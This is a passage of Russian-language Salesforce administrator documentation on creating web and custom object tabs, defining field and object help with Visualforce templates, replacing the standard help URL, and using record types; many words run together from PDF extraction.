редактирования
настраиваемых вкладок:
• «Настройка

приложения»

Веб-вкладки позволяют использовать веб-приложения или другие веб-сайты прямо в
приложении.

1. Введите строку «Вкладки» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Вкладки».

2. Нажмите кнопку «Создать» в связанном списке «Веб-вкладки».

3. Выберите макет новой вкладки. Макет вкладки определяет необходимость
отображения боковой панели на странице.

4. Нажмите кнопку «Далее».

5. Введите метку для отображения на вкладке.

6. Чтобыоткрытьокно «Выборстиля вкладки», щелкните значокпоисканапротивполя
«Стиль вкладки».

Еслистиль вкладкиужеиспользуется, тонапротивименистиля вкладкив квадратных
скобках [] отображается число. Чтобыпросмотреть вкладки, использующиеданный
стиль, наведитеуказательмышинаимянужногостиля. Чтобыотфильтроватьданный
список, щелкните «Скрыть стили, используемые на других вкладках».

7. Чтобы выбрать цветовуюсхему и значок настраиваемой вкладки, щелкните нужный
стиль вкладки.

Чтобысоздатьнастраиваемыйстильвкладки, нажмитекнопку«Создатьсобственный
стиль» вокне «Выборстиля вкладки» (приналичиидоступа ко вкладке «Документы»).
Чтобы создать собственный стиль вкладки, выполните указанные ниже действия.

a. Чтобыоткрытьдиалоговоеокновыборацвета, щелкните значокпоисканапротив
поля «Цвет».

b. Нажмитекнопку«Вставитьизображение», выберитепапкудокументовинужное
изображение.

Чтобы найти документ, имя которого содержит поисковый запрос, щелкните
«Поисквдокументах», введитепоисковыйзапросинажмите кнопку «Начать».

Прим.: Данноедиалоговоеокносодержитфайлыразмеромнеболее 20 Кб,
которые доступны в папках документов и в свойствах которых установлен
флажок «Внешний доступ». При удалении документа, используемого для
значка, система Salesforce заменяет его стандартнымразноцветным значком

блока ( ).

c. Выберите нужныйфайл и нажмите кнопку «OK».При этом откроется мастер создания настраиваемой вкладки.

8. При необходимости измените высоту рамки содержимого.

9. Чтобы гарантировать надлежащее отображение и функционирование веб-страницы в приложении Salesforce Classic
Mobile, установите флажок «Поддержка Salesforce Classic Mobile».

Установка данногофлажкаприводит к добавлениювкладкив списокдоступныхвкладокдля конфигураций Salesforce
Classic Mobile. Чтобыгарантировать совместимость страницвеб-вкладок смобильнымиобозревателями, просмотрите
рекомендации по использованию вкладок Salesforce Classic Mobile.

4398

Настройка настраиваемых вкладокРасширение Salesforce посредством интерактивных
инструментов



Прим.: Флажок «Поддержка Salesforce Classic Mobile» отображается только при использовании
приложения Salesforce Classic Mobile.

10. При необходимости выберите настраиваемую ссылку заставки, отображаемой при выборе вкладки. Рекомендуем
избегать использования заставки при планировании мобильности веб-вкладки, так как мобильное приложение не
поддерживает отображение заставок.

11. При необходимости введите описание вкладки и нажмите кнопку «Далее».

12. Введите URL-адрес или выберите настраиваемый элемент S-Control для отображения на вкладке. При необходимости
скопируйте и вставьте любые поля слияния.

Прим.: Веб-вкладки поддерживают только поля слияния пользователя, организации и API.

Чтобы открыть веб-вкладку, нажмите кнопку «Предварительный просмотр веб-вкладки».

13. Выберите кодировку URL-адреса и нажмите кнопку «Далее».

14. Добавьте веб-вкладку в соответствующие профили. Чтобы определить доступность настраиваемой вкладки
пользователямсданнымпрофилем, выберитезначение «Включеныстандартныепараметры», «Отключеныстандартные
параметры» или «Вкладка скрыта». При необходимости данный параметр может быть изменен.

15. Нажмите кнопку «Далее».

16. Выберите настраиваемые приложения для добавления новой вкладки.

17. Чтобы применить параметры доступности вкладки ко всем пользователям, установите флажок «Добавить вкладку
в текущие персональные настройки пользователя».

18. Нажмите кнопку «Сохранить».

Прим.: Нижеперечислены условия, при которых веб-вкладка илинастраиваемая ссылка может отображать пустую
страницу.

• Настройки внедренного сайта отклоняют загрузку содержимого в рамке.

• Настройки внедренного сайта разрешают загрузку содержимого в рамке (только при доставке содержимого тем
же сайтом).

• Внедренный сайт использует безопасное и небезопасное содержимое, а настройки обозревателя пользователя
блокируют отображение смешанного активного содержимого.

Ниже перечислены рекомендуемые временные решения.

• Разрешите настраиваемой ссылке открытие в новом окне или отображение в текущем окне без боковой панели
или верхнего колонтитула.

• Добавьте URL-адрес веб-вкладки в настраиваемую ссылку и разрешите URL-адресу открытие в новом окне или
отображение в текущем окне без боковой панели или верхнего колонтитула.

• Есливнедряемыйсайтиспользуетпрефикс HTTP исмешанноеактивноесодержимое, изменитетекущийпрефикс
на HTTPS. Есливнедренныйсайтиспользуетдопустимыйсертификатбезопасностииподдерживаетотображение
содержимого в рамках, то изменение префикса должно способствовать отображению сайта.
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Создание вкладок настраиваемого объекта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Вкладки настраиваемого
объекта и веб-вкладки
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Вкладки Visualforce
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Вкладки страницы Lightning
доступны в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования
настраиваемых вкладок:
• «Настройка

приложения»

Определите новую вкладку для отображения данных, хранящихся в записях
настраиваемого объекта.

1. Введите строку «Вкладки» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Вкладки».

2. Нажмите кнопку «Создать» в связанном списке «Вкладки настраиваемого объекта».

3. Выберите настраиваемый объект для отображения на настраиваемой вкладке. При
отсутствии нужного настраиваемого объекта щелкните ссылку «Создать новый
настраиваемый объект» и выполните инструкции, указанные в разделе
«Определение настраиваемых объектов» на странице 4442.

Метка новой вкладки соответствует метке множественного числа настраиваемого
объекта.

4. Чтобыоткрытьокно «Выборстиля вкладки», щелкните значокпоисканапротивполя
«Стиль вкладки».

Еслистиль вкладкиужеиспользуется, тонапротивименистиля вкладкив квадратных
скобках [] отображается число. Чтобыпросмотреть вкладки, использующиеданный
стиль, наведитеуказательмышинаимянужногостиля. Чтобыотфильтроватьданный
список, щелкните «Скрыть стили, используемые на других вкладках».

5. Чтобы выбрать цветовуюсхему и значок настраиваемой вкладки, щелкните нужный
стиль вкладки.

Чтобысоздатьнастраиваемыйстильвкладки, нажмитекнопку«Создатьсобственный
стиль» вокне «Выборстиля вкладки» (приналичиидоступа ко вкладке «Документы»).
Чтобы создать собственный стиль вкладки, выполните указанные ниже действия.

a. Чтобыоткрытьдиалоговоеокновыборацвета, щелкните значокпоисканапротив
поля «Цвет».

b. Нажмитекнопку«Вставитьизображение», выберитепапкудокументовинужное
изображение.

Чтобы найти документ, имя которого содержит поисковый запрос, щелкните
«Поисквдокументах», введитепоисковыйзапросинажмите кнопку «Начать».

Прим.: Данноедиалоговоеокносодержитфайлыразмеромнеболее 20 Кб,
которые доступны в папках документов и в свойствах которых установлен
флажок «Внешний доступ». При удалении документа, используемого для
значка, система Salesforce заменяет его стандартнымразноцветным значком

блока ( ).

c. Выберите нужныйфайл и нажмите кнопку «OK».При этом откроется мастер создания настраиваемой вкладки.

6. При необходимости выберите настраиваемую ссылку заставки, отображаемой при выборе вкладки.

7. При необходимости введите описание вкладки и нажмите кнопку «Далее».

8. Выберите нужные профили пользователей.

• Установитефлажок «Применить доступность вкладки ко всем профилям» и выберите значение «Включены
стандартныепараметры», «Отключеныстандартныепараметры» или «Вкладкаскрыта» израскрывающегосясписка.
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• При необходимости установите флажок «Применить различную доступность вкладки в каждом профиле»
и выберите значение «Включены стандартные параметры», «Отключены стандартные параметры» или «Вкладка
скрыта» из раскрывающегося списка для каждого профиля.

При использовании версии Professional Edition или лицензии Salesforce Platform One уровню доступности вкладки
автоматически присваивается значение «Включены стандартные параметры».

9. Заполните поле «Доступность вкладки».

Чтобы определить доступность настраиваемой вкладки пользователям данного профиля в версии Enterprise Edition,
Unlimited Edition, Performance Edition или Developer Edition, выберите значение «Включены стандартные параметры»,
«Отключены стандартные параметры» или «Вкладка скрыта» в раскрывающемся списке «Доступность вкладки» и
нажмите кнопку «Далее». Прииспользовании версии Professional Edition уровнюдоступности вкладки автоматически
присваивается значение «Включены стандартные параметры». При использовании лицензии Salesforce Platform One
уровню доступности вкладки автоматически присваивается значение «Включены стандартные параметры».

Прим.: Записи настраиваемого объекта, вкладке которого назначена доступность «Вкладка скрыта», не
обрабатываются поиском.

Привыборе значения «Включеныстандартныепараметры» или «Отключеныстандартныепараметры» настраиваемый
объект добавляется в раскрывающийся список «Создать» на боковой панели, а пользователи с полномочием
«Создание» получаютвозможностьбыстрого создания записи. Например, еслинастраиваемыйобъект, отображаемый
на настраиваемой вкладке, называется «Расходы», то данный список дополняется объектом «Расход».

10. Выберите настраиваемые приложения для добавления новой вкладки.

11. Чтобыдобавитьновуювкладку внастроенныепараметрыотображенияпользователей, установитефлажок «Добавить
вкладку в текущие персональные настройки пользователя».

12. Нажмите кнопку «Сохранить».

Чтобы настроить вкладку дополнительно, выполните указанные ниже действия.

• Определитемакет страницыдля записей, отображаемыхна вкладке. Макет страницыопределяет поля, доступные для
отображения и редактирования при вводе данных на настраиваемой вкладке.

• Выберите поля, которые должны отображаться пользователям в основных списках на начальной странице вкладки
настраиваемого объекта.

СМ. ТАКЖЕ:

Общие сведения о настраиваемых вкладках

Рекомендации по сокращению времени поиска
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Управление настраиваемыми вкладками

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Вкладки настраиваемых
объектов и веб-вкладки
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Вкладки Visualforce
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Вкладки страницы Lightning
доступны в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
настраиваемых вкладок:
• «Настройка

приложения»

Введите строку «Вкладки» в поле «Быстрый поиск» в меню «Настройка» и выберите
пункт «Вкладки», чтобы вывести список вкладок организации. Данная страница
позволяет просматривать, создавать, редактировать и удалять настраиваемые вкладки.

• Чтобы включить поддержку вкладок Visualforce или веб-вкладок для использования
вприложенииSalesforce Classic Mobile, изменитесвойствавкладокиустановитефлажок
«Поддержка Salesforce Classic Mobile».

• Ограничение для настраиваемых вкладок является фиксированным, определяется
версиейинеможетбытьувеличено. Дополнительнуюинформациюможнополучить
в компании Salesforce.
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Настройка справки

Общие сведения о настраиваемой справке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Ссылка «Справка и обучение», расположенная вверху каждой страницы, открывает
окно Salesforce «Справка и обучение», содержащее разделы интерактивной справки,
решения и рекомендованные занятия. Чтобы открыть раздел контекстно-зависимой
интерактивнойсправки, описывающийтекущуюстраницу, щелкните ссылку «Справка
для этой страницы» на любой странице.

Настраиваемая справка Salesforceпозволяетдополнить стандартнуюсправку сведениями
обиспользованииполейифункций, уникальныхдляорганизацииилиразрабатываемого
приложения Force.com AppExchange.

Ниже перечислены действия, доступные в настраиваемой справке.

• Переопределениестандартныхразделовконтекстно-зависимойинтерактивнойсправкиSalesforceдлянастраиваемых
объектов посредством справки объекта

• Добавление справки поля, отображающейся при наведении указателя мыши на поле

СМ. ТАКЖЕ:

Начало работы со справкой поля

Начало работы со справкой объекта

Начало работы со справкой поля
Справкаполяпозволяетдобавлятьтекст, определяющийназначениеифункциюлюбогостандартногоилинастраиваемого
поля. Благодаря тексту настраиваемой справки, пользователи могут просматривать подробное описание любого поля
организации на всех соответствующих страницах просмотра и редактирования сведений. Чтобы просмотреть текст
справки поля, наведите указатель мыши на значок сведений напротив нужного поля.

Преждечемначатьопределениесправкиполя, просмотритеперечисленныенижесоветыирекомендацииповнедрению.

Советы по внедрению
• По умолчанию справка поля включена во всех версиях.

• Справка поля недоступна для некоторых стандартныхполей, включаяполя объекта «Пользователь», системныеполя,
доступные только для чтения, поля автонумерации, поля мультивалюты, поля сообщества «Идеи» и поля объекта
«Сообщество».

• Текст справки поля автоматически добавляется в пакет при добавлении связанного поля в любой пакет Force.com
AppExchange.

• Текст справки, используемый управляемым пакетом, блокируется разработчиком, предоставляя установщикам
возможность его изменения.

Рекомендации
• Текстнастраиваемойсправкиотображаетсянастраницахпросмотраиредактированиясведений, поэтомурекомендуем

избегать инструкций по вводу данных. Взамен, создайте текст справки, определяющий назначение поля. Например:

«Максимально допустимая скидка для данной организации.»
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• Дополните текст справки сведениями об атрибутах поля. Например:

«Подробное описание назначения отчета по расходам. Данное поле поддерживает ввод не более 32 Кб данных. В отчетах
отображаются только первые 255 символов.»

• Дополните текст справки примерами, разъясняющими значение поля. Например:

«Четырехзначный рекламный код, используемый для определения стоимости, взимаемой с клиента. Например, 4PLT

(платиновая система ценообразования четвертого уровня).»

• Прииспользованиимногоязычнойорганизации создайте переводы для поля «Текст справки» с помощьюсредства
перевода.

СМ. ТАКЖЕ:

Общие сведения о настраиваемой справке

Определение справки поля

Определение справки поля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения или
изменения справки поля:
• «Настройка

приложения»

Справкаполяпозволяетдобавлятьтекст, определяющийназначениеифункциюлюбого
стандартного или настраиваемого поля. Благодаря тексту настраиваемой справки,
пользователи могут просматривать подробное описание любого поля организации на
всех соответствующих страницах просмотра и редактирования сведений. Чтобы
просмотреть текст справкиполя, наведите указательмышина значок сведенийнапротив
нужного поля.

1. В разделе настроек управления для объекта перейдите в раздел «Поля».

2. Щелкните ссылку «Правка» напротив нужного поля.

3. Введите текст, который должен отображаться при наведении указателя мыши на
значок сведений, расположенный напротив поля на странице просмотра или
редактирования сведений, в поле «Текст справки». Разрешается использовать не
более 255 символов.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о настраиваемой справке

Начало работы со справкой поля

Поиск по параметрам управления объектами

Начало работы со справкой объекта
Справкаобъектадоступнадлявсехнастраиваемыхивнешнихобъектов. Щелкнувпоссылке«Справкадляэтойстраницы»
в настраиваемом объекте, пользователи получат доступ к полезной информации о нем.

Прим.: Приотсутствиисправкиобъектапринажатииссылки«Справкадляэтойстраницы»выводитсяинформация
о стандартном объекте, которая может быть не связана с настраиваемым объектом.
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Можно переопределить ссылки «Справка для этой страницы» для любого настраиваемого или внешнего объекта
собственным содержимым справки, хранящимся на странице Visualforce. Не волнуйтесь! Нет необходимости изучать
Visualforce, чтобы добавлять содержимое справки для настраиваемых объектов.

После добавления настраиваемой справки для настраиваемых объектов при нажатии ссылки «Справка для этой
страницы» будет выводиться этот вариант справки. Настраиваемая справка для настраиваемых объектов доступна
пользователям на начальной странице объекта, на страницах просмотра и редактирования сведений, а также во всех
списковых представлениях и связанных списках.

Справку объекта для настраиваемых и внешних объектов можно создать во всех версиях Salesforce, поддерживающих
настраиваемые и внешние объекты. Дополнительную информацию см. в разделе «Ограничения Salesforce».

СМ. ТАКЖЕ:

Общие сведения о настраиваемой справке

Определение справки объекта

Принципы и рекомендации по созданию справки объекта

Определение справки объекта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Настраиваемые объекты
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Внешние объекты Lightning
Connect доступны в версиях:
Developer Edition.
Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения или
изменения справки объекта:
• «Настройка

приложения»

Справка объекта переопределяет ссылки «Справка для этой страницы» для любого
настраиваемогоиливнешнегообъекта собственнымсодержимымсправки, хранящимся
настраницеVisualforce. Чтобыпредоставитьвсемпользователямдоступксправкеобъекта,
создайте страницу Visualforce, хранящую содержимое справки. Дополните определение
настраиваемого или внешнего объекта ссылкой на эту страницу. Доступ ко справке
объекта предоставляется всем пользователям немедленно.

1. Создайте страницу Visualforce, хранящую содержимое справки.

2. Изменитеопределениенастраиваемогообъектаилиопределениевнешнегообъекта,
которое использует данную настраиваемую справку при выборе ссылки «Справка
для этой страницы».

3. Для пункта «Параметры контекстно зависимой справки» установите «Открыть
окно с помощью страницы Visualforce».

4. Выберите страницу Visualforce, хранящую содержимое справки.

5. Нажмите кнопку «Сохранить».

Создание справки для настраиваемого объекта со статичным содержимым
Пользователи, владеющие HTML, могут легко добавлять справочные материалы для
настраиваемых объектов. Для этого требуется написать содержимое справки с
помощью HTML и сохранить его на страницеVisualforce. Знание Visualforce не
обязательно. Участники могут использовать предоставленныешаблоны.

Создание справки в формате PDF для настраиваемых объектов
Системаподдерживает созданиесправкидлянастраиваемыхобъектовв виде страниц
Visualforce, которыеперенаправляютнафайлысправкивформате PDF или URL-адреса.
Знание Visualforce не обязательно. Участники могут использовать предоставленные
шаблоны.
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Принципы и рекомендации по созданию справки объекта
Прежде чем начать определение справки настраиваемого или внешнего объекта, просмотрите перечисленные ниже
принципы и рекомендации по внедрению.

СМ. ТАКЖЕ:

Начало работы со справкой объекта

Общие сведения о настраиваемой справке
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Создание справки для настраиваемого объекта со статичным содержимым

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Настраиваемые объекты
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Внешние объекты Lightning
Connect доступны в версиях:
Developer Edition.
Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Visualforce доступен в
версиях: Contact Manager,
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения или
изменения справки объекта:
• «Настройка

приложения»

Для создания и
редактирования страниц
Visualforce:
• «Настройка

приложения»

Пользователи, владеющие HTML, могут легко добавлять справочные материалы для
настраиваемыхобъектов. Для этого требуетсянаписать содержимоесправкиспомощью
HTML исохранитьегона страницеVisualforce. ЗнаниеVisualforceнеобязательно. Участники
могут использовать предоставленныешаблоны.

1. Введите строку «Страницы Visualforce» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Страницы Visualforce».

2. Нажмите кнопку «Создать».
Редактор Visualforce откроется на новой странице.

3. Заполните поля ниже.

ОписаниеПоле

Понятное имя страницы, которое будет использоваться для
идентификации страницы в настройках.

Метка

Совет: Рекомендуется установитьправилаприсвоения
имен страницам справки для настраиваемых объектов.
Например, можноначинатьименавсехстраницсослова
«Справка_», далее добавляя имя объекта.

Имя API для страницы. Можно использовать значения
автозаполнения.

Имя

Дополнительное описание страницы.Описание

Выберите этот параметр, если настраиваемый объект
используется в Salesforce1.

«Доступно для
мобильных
приложений
Salesforce и
страниц
Lightning»

4. Нажмите кнопку «Быстрое сохранение».

5. Навкладкередактора кодаVisualforce Markup выберите кодпо умолчаниюиудалите
его.

6. Копируйте приведенный ниже код шаблона и вставьте в редактор кода.

<apex:page showHeader="false">

<!-- Add your help styles -->

<h1>Help for {YourObjectName} Object</h1>
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<p>Your custom help message here.</p>

</apex:page>

7. Нажмите кнопку «Быстрое сохранение».

8. Отредактируйте шаблон, добавив содержимое справки.

Чтобыформатировать страницу, добавьте разметку HTML. Также можно использовать разметку Visualforce.

9. Нажмите кнопку «Сохранить».

Теперь эта страница может быть добавлена в качестве настраиваемой справки. При нажатии ссылки «Справка для этой
страницы» страница загрузится в окне «Справка и обучение».

СМ. ТАКЖЕ:

Определение справки объекта

Создание справки в формате PDF для настраиваемых объектов

Принципы и рекомендации по созданию справки объекта
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Создание справки в формате PDF для настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Настраиваемые объекты
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Внешние объекты Lightning
Connect доступны в версиях:
Developer Edition.
Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Visualforce доступен в
версиях: Contact Manager,
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения или
изменения справки объекта:
• «Настройка

приложения»

Для создания и
редактирования страниц
Visualforce:
• «Настройка

приложения»

Система поддерживает создание справки для настраиваемых объектов в виде страниц
Visualforce, которые перенаправляют на файлы справки в формате PDF или URL-адреса.
Знание Visualforce не обязательно. Участники могут использовать предоставленные
шаблоны.

Содержимое справки можно написать в текстовом редакторе, например Microsoft Word,
и преобразовать в PDF-файл.

1. Загрузите PDF-файл как статический ресурс.

Этотфайл будет выводиться при обращении к справке для настраиваемого объекта.

2. Введите строку «Страницы Visualforce» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Страницы Visualforce».

3. Нажмите кнопку «Создать».
Редактор Visualforce откроется на новой странице.

4. Заполните поля ниже.

ОписаниеПоле

Понятное имя страницы, которое будет использоваться для
идентификации страницы в настройках.

Метка

Совет: Рекомендуется установитьправилаприсвоения
имен страницам справки для настраиваемых объектов.
Например, можноначинатьименавсехстраницсослова
«Справка_», далее добавляя имя объекта.

Имя API для страницы. Можно использовать значения
автозаполнения.

Имя

Дополнительное описание страницы.Описание

Выберите этот параметр, если настраиваемый объект
используется в Salesforce1.

«Доступно для
мобильных
приложений
Salesforce и
страниц
Lightning»

5. Нажмите кнопку «Быстрое сохранение».

6. Навкладкередактора кодаVisualforce Markup выберите кодпо умолчаниюиудалите
его.

7. Копируйте приведенный ниже код шаблона и вставьте в редактор кода.

<apex:page showHeader="false" action="{! URLFOR($Resource.YourCustomHelpResource) }">

<!-- This page redirects to the URL in the action attribute above -->
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<p>Redirecting to help content...</p>

</apex:page>

8. Замените строку YourCustomHelpResource в атрибуте действия именем загруженного статического ресурса.

9. Нажмите кнопку «Сохранить».

Теперь эта страницаможет быть добавлена в качестве справочной. Принажатии ссылки «Справкадля этойстраницы»
пользователи будут перенаправлены к ресурсу, указанному в атрибуте действия.

Прим.: Браузерпользователяопределяетповедениессылкина PDF-файл, ноне созданнойвамистраницыVisualforce.
Содержимое PDF может отображаться в браузере или загружаться как PDF-файл.

СМ. ТАКЖЕ:

Определение справки объекта

Создание справки для настраиваемого объекта со статичным содержимым

Принципы и рекомендации по созданию справки объекта

Принципы и рекомендации по созданию справки объекта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Настраиваемые объекты
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Внешние объекты Lightning
Connect доступны в версиях:
Developer Edition.
Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Visualforce доступен в
версиях: Contact Manager,
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем начать определение справки настраиваемого или внешнего объекта,
просмотрите перечисленные ниже принципы и рекомендации по внедрению.

Рекомендации

• Высотаиширинаокна, отображающегосправкуобъекта, соответствуютстандартному
окну Salesforce «Справка и обучение». Чтобы повысить доступность содержимого
настраиваемой справки, рекомендуем выбирать соответствующий размер и стиль
содержимого.

• Дляиндивидуализациисправкиможноиспользоватьполяслиянияидругиефункции
страниц Visualforce. Например, можно настроить страницу справки таким образом,
чтобы она отображала имя пользователя.

Дополнительные советы по внедрению

• При создании страниц Visualforce для настраиваемой справки не используется
контроллер или используется настраиваемый контроллер. Нельзя пользоваться
стандартным контроллером.

• Приналичиисправкиобъекта, добавляемойвкаталог Force.com AppExchange, система
Salesforceдобавляет страницуVisualforceилистатическийресурс, используемыйполем
данного объекта «Параметры контекстно зависимой справки».

• Справкаобъекта, используемаяуправляемымипакетами, блокируетсяразработчиком,
предоставляя установщикам возможность ее изменения.

СМ. ТАКЖЕ:

Определение справки объекта

Начало работы со справкой объекта
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Замена справки Salesforce
При переименовании стандартных вкладок, объектов, полей и других связанных меток пользовательского интерфейса
справка Salesforce также может быть заменена другим URL-адресом.

Пользователи могут просматривать данный URL-адрес при выборе любой ссылки на контекстно-зависимую справку,
отображающейся на странице конечного пользователя или в личных параметрах. После замены справка Salesforce будет
доступна по ссылке «Справка и обучение», расположенной вверху любой страницы, а также на всех страницах меню
«Настройка».

1. Введите строку «Параметры справки» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Параметры
справки».

2. Введите полный URL-адрес справочного файла, который должен использоваться для замены справки Salesforce.

3. Нажмите кнопку «Сохранить».

Рекомендации по замене справки Salesforce

• После замены справки Salesforce собственным справочнымфайлом прежняя интерактивная справка Salesforce будет
доступнапо ссылке «Справкаиобучение», однако ссылки «Справкадляэтойстраницы»на всех страницах, кроме
страниц меню «Настройка», не будут контекстозависимыми. Данный алгоритм позволяет открывать справочный
файл в одной области, независимо от страницы, просматриваемой пользователем при выборе ссылки.

• Чтобысделать справку контекстно-зависимой, воспользуйтесь контекстно-зависимымипараметрами, передаваемыми
в каждой ссылке справки. Например, ссылка справки на начальной странице вкладки «Возможности» выглядит
следующим образом (без разрывов строк):

http://your_help_file.com?loc=help&amp;body=%2Fhelp%2Fdoc%2Fen%2Fhelp2.jsp
&цель=opp_overview.htm&раздел=Opportunities

Значения параметров цель и раздел являются уникальными для каждой страницы приложения. Анализ данных
параметров позволяет отображать пользователям содержимое контекстно-зависимой справки.

• Если файл интерактивной справки совместим с веб-обозревателем, установленным на мобильные устройства
пользователей, обратитесь в компанию Salesforce, чтобы активировать настраиваемый URL-адрес для интерактивной
справки в приложении Salesforce Classic Mobile. Если URL-адрес справки длямобильных устройств активирован, то при
выборе ссылки «Справка» в приложении для мобильных устройств открывается URL-адрес настраиваемой справки
вместо интерактивной справки Salesforce Classic Mobile. Прежде чем развернуть настраиваемую мобильную справку,
рекомендуем выполнить ее всестороннее тестирование на всех моделях устройств, принадлежащих пользователям.
Несмотря на использование одного типа мобильных устройств, корректная работа настраиваемой справки может
зависеть от установленной версии операционной системы.
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Использование типов записей

Типы записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
типов записей:
• «Настройка

приложения»

Настройте бизнес-процессы, значения раскрывающегося списка и макеты страниц для
групп пользователей.

Типы записей позволяют отображать разные бизнес-процессы, значения
раскрывающегося списка и макеты страниц разным пользователям. Создайте типы
записей для различных причин, например следующих.

• Возможности, позволяющие отличать регулярные сделки от договоров на
предоставление профессиональных услуг и применять к каждой сделке разные
значения раскрывающегося списка.

• Обращения, позволяющие отображать разные макеты страниц для обращений по
поддержке клиентов и обращений по выставлению счетов.

СМ. ТАКЖЕ:

Просмотр и редактирование типов записей

Создание типов записей

Как определяется доступ к типу записи?

Рекомендации по созданию и обновлению типов записей
Преждечемсоздаватьиобновлять типызаписей, ознакомьтесь с важнойинформацией.

• Преждечемсоздатьтипызаписей, добавьтевсевозможныезначениятиповзаписейвосновнойсписокраскрывающихся
списков. Основной раскрывающийся список — это полный список значений раскрывающегося списка, которые
могут использоваться в любом типе записи.

• Основной раскрывающийся список не связан с типами записей и бизнес-процессами. Новое значение, добавляемое
в основной раскрывающийся список, должно быть вручную добавлено в соответствующие типы записей. Значение,
удаляемое из основного раскрывающегося списка, становится недоступным при создании записей. Однако записи,
назначенные данному значению, остаются без изменений.

• Ниже перечислены поля специальных раскрывающихся списков, недоступные для типов записей ввиду их
исключительного использования для процессов продаж, процессов интереса, процессов поддержки и процессов
решения.

– «Этап»  (возможность)

– «Статус»  (обращение)

– «Статус»  (решение)

– «Статус интереса»

Данные поля позволяют использовать разные значения раскрывающегося списка для разных типов записей путем
назначения отдельного процесса каждому типу записи.

• Переименование типа записи не влияет на список его значений.

• Организации-лица — это организации, которым назначается специальный тип записи. Данные типы записей
называются типами записей организаций-лиц. Типы записей организаций-лиц разрешают добавление полей контактов
в организации и использование организаций в качестве контактов. Если включена поддержка организаций-лиц, то

4412

Использование типов записейРасширение Salesforce посредством интерактивных
инструментов



стандартный тип записи организации-лица по имени «Организация-лицо» создается автоматически. Имя данного
типазаписиможетбытьизменено. Принеобходимостипользователимогут создаватьдополнительныетипызаписей
организаций-лиц.

• Типзаписи, используемыйадресоммаршрутизацииэл. почтыдляфункции Email-to-Case илиOn-Demand Email-to-Case,
не может быть деактивирован.

• Чтобы создать типы записей для участников кампании, в разделе настроек управления объектами для участников
кампании выберите пункт «Типы записей».

Типы записей могут быть назначены участникам кампании только посредством поля новых или текущих кампаний
«Тип участника кампании». Чтобы назначить типы записей участникам кампании, добавьте поле «Тип участника
кампании» вмакетстраницыкампаний. Типучастникакампанииможетбытьизменентолькоприналичииполномочия
«Пользователь Marketing». При необходимости макет страницы участников кампании может быть дополнен
полем «Тип участника кампании», доступным только для чтения.

• Ниже перечислены раскрывающиеся списки участников кампании, недоступные для типов записей.

– Статус

– Приветствие

– Источник интереса

• Компания Salesforceрекомендует создаватьнеболее 200 типов записей. Хотяпределанет, управление типами записей
организации может быть затруднено при количестве типов записей более 200.

• Удаление типа записи инициирует удаление связанного пути продаж.

Ниже перечислены особые рекомендации по преобразованию, клонированию или созданию записей.

• При преобразовании интереса новые записи организаций, контактов и возможностей автоматически используют
стандартный тип записи для ответственного за новые записи.

• Приклонированиизаписиновая записьиспользует типзаписи, назначенныйклонированнойзаписи. Еслипрофиль
пользователя не поддерживает тип записи, назначенный клонированной записи, то новая запись использует
стандартный тип записи пользователя.

